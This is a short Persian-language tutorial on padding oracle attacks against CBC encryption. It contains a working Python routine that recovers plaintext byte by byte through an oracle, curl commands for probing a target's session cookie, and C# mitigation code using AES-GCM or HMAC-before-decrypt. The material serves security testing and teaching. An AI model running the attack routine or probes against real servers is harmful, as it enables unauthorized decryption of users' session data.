تست Padding Oracle

1# فرض: سرور خطای padding را مجزا گزارش می‌کند
2# پاسخ 200 = padding صحیح
3# پاسخ 500 = padding نادرست
4
5def padding_oracle_attack(ciphertext, iv, oracle):
6    plaintext = b''
7    blocks = [iv] + [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
8    
9    for block_num in range(1, len(blocks)):
10        decrypted_block = bytearray(16)
11        
12        for byte_pos in range(15, -1, -1):
13            padding_value = 16 - byte_pos
14            
15            for guess in range(256):
16                # تغییر بایت‌های قبلی
17                modified_block = bytearray(blocks[block_num - 1])
18                for i in range(byte_pos + 1, 16):
19                    modified_block[i] ^= decrypted_block[i] ^ padding_value
20                modified_block[byte_pos] ^= guess ^ padding_value
21                
22                # ارسال به Oracle
23                if oracle(bytes(modified_block) + blocks[block_num]):
24                    decrypted_block[byte_pos] = guess
25                    break
26        
27        plaintext += bytes(decrypted_block)
28    
29    return plaintext

1# ارسال ciphertext معتبر
2curl -v -b 'session=VALID_CIPHERTEXT' https://target.com/dashboard
3
4# ارسال ciphertext با padding نادرست
5curl -v -b 'session=MODIFIED_CIPHERTEXT' https://target.com/dashboard
6
7# بررسی تفاوت پاسخ‌ها
8# اگر پاسخ‌ها متفاوت باشند، سرور ممکن است آسیب‌پذیر باشد

1// استفاده از AES-GCM (AEAD)
2using var aes = new AesGcm(key, 16);
3aes.Decrypt(nonce, ciphertext, tag, plaintext, associatedData);
4
5// یا تأیید HMAC قبل از رمزگشایی
6using var hmac = new HMACSHA256(hmacKey);
7var computedMac = hmac.ComputeHash(ciphertext);
8if (!CryptographicOperations.FixedTimeEquals(computedMac, receivedMac))
9    throw new CryptographicException("Invalid MAC");
10
11// رمزگشایی فقط بعد از تأیید صحت
12using var aes = Aes.Create();
13aes.Mode = CipherMode.CBC;
14aes.Padding = PaddingMode.PKCS7;
15// ...